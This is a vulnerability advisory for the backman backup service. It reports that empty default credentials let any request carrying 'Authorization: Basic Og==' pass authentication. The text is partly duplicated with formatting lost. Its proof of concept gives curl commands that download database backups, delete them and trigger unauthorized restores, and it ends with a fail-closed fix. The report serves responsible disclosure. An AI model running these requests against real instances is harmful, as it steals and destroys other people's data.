Summary
backman's BasicAuth middleware compares credentials against config.Get().Username and config.Get().Password, which default to Go zero-value empty strings when not configured. The configuration documentation marks both fields as "optional." When neither is set, subtle.ConstantTimeCompare([]byte(""), []byte("")) returns 1 (equal), granting full authenticated access to any request containing Authorization: Basic Og== (base64 of :).
Severity
CRITICAL — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE-1188 (Insecure Default Initialization of Resource)
Affected Code
router/api/handler.go:39-44, router/ui/handler.go:65-70, router/health/handler.go:41-46, router/metrics/handler.go:40-45
g.Use(middleware.BasicAuth(func(u, p string, c echo.Context) (bool, error) {
if subtle.ConstantTimeCompare([]byte(u), []byte(username)) == 1 &&
subtle.ConstantTimeCompare([]byte(p), []byte(password)) == 1 {
return true, nil
}
return false, nil
}))
Proof of Concept
# Base64 of ":" (empty username, empty password) = "Og=="
curl -H "Authorization: Basic Og==" http://<backman-instance>:8080/api/v1/services
# Returns full service listing with backup configuration
# Download any backup (database dump)
curl -H "Authorization: Basic Og==" \
http://<backman-instance>:8080/api/v1/backup/postgres/mydb/mydb_20260706.gz/download -o stolen.gz
# Delete all backups
curl -X DELETE -H "Authorization: Basic Og==" \
http://<backman-instance>:8080/api/v1/backup/postgres/mydb/mydb_20260706.gz
# Trigger database restore
curl -X POST -H "Authorization: Basic Og==" \
http://<backman-instance>:8080/api/v1/restore/postgres/mydb/mydb_20260706.gz
Impact
Any backman deployment without explicitly configured credentials is fully accessible:
- Data exfiltration: Download all database backups (PostgreSQL, MySQL, MongoDB, Redis, Elasticsearch)
- Data destruction: Delete all backup files from S3 storage
- Data corruption: Trigger unauthorized database restores
- Information disclosure: Enumerate all services and backup schedules
Suggested Fix
Fail closed — refuse to start if credentials are empty:
if len(config.Get().Username) == 0 || len(config.Get().Password) == 0 {
log.Fatalln("error: BACKMAN_USERNAME and BACKMAN_PASSWORD must be configured")
}
Mark username and password as REQUIRED in documentation and emit a startup warning.
Disclosure
This report was generated with the assistance of AI-based analysis tools. Reported in good faith as a security researcher.
Reported by: Ashish Kunwar (ashishkunwar280@gmail.com)
Summary
backman's BasicAuth middleware compares credentials against
config.Get().Usernameandconfig.Get().Password, which default to Go zero-value empty strings when not configured. The configuration documentation marks both fields as "optional." When neither is set,subtle.ConstantTimeCompare([]byte(""), []byte(""))returns 1 (equal), granting full authenticated access to any request containingAuthorization: Basic Og==(base64 of:).Severity
CRITICAL — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE-1188 (Insecure Default Initialization of Resource)
Affected Code
router/api/handler.go:39-44,router/ui/handler.go:65-70,router/health/handler.go:41-46,router/metrics/handler.go:40-45Proof of Concept
Impact
Any backman deployment without explicitly configured credentials is fully accessible:
Suggested Fix
Fail closed — refuse to start if credentials are empty:
Mark
usernameandpasswordas REQUIRED in documentation and emit a startup warning.Disclosure
This report was generated with the assistance of AI-based analysis tools. Reported in good faith as a security researcher.
Reported by: Ashish Kunwar (ashishkunwar280@gmail.com)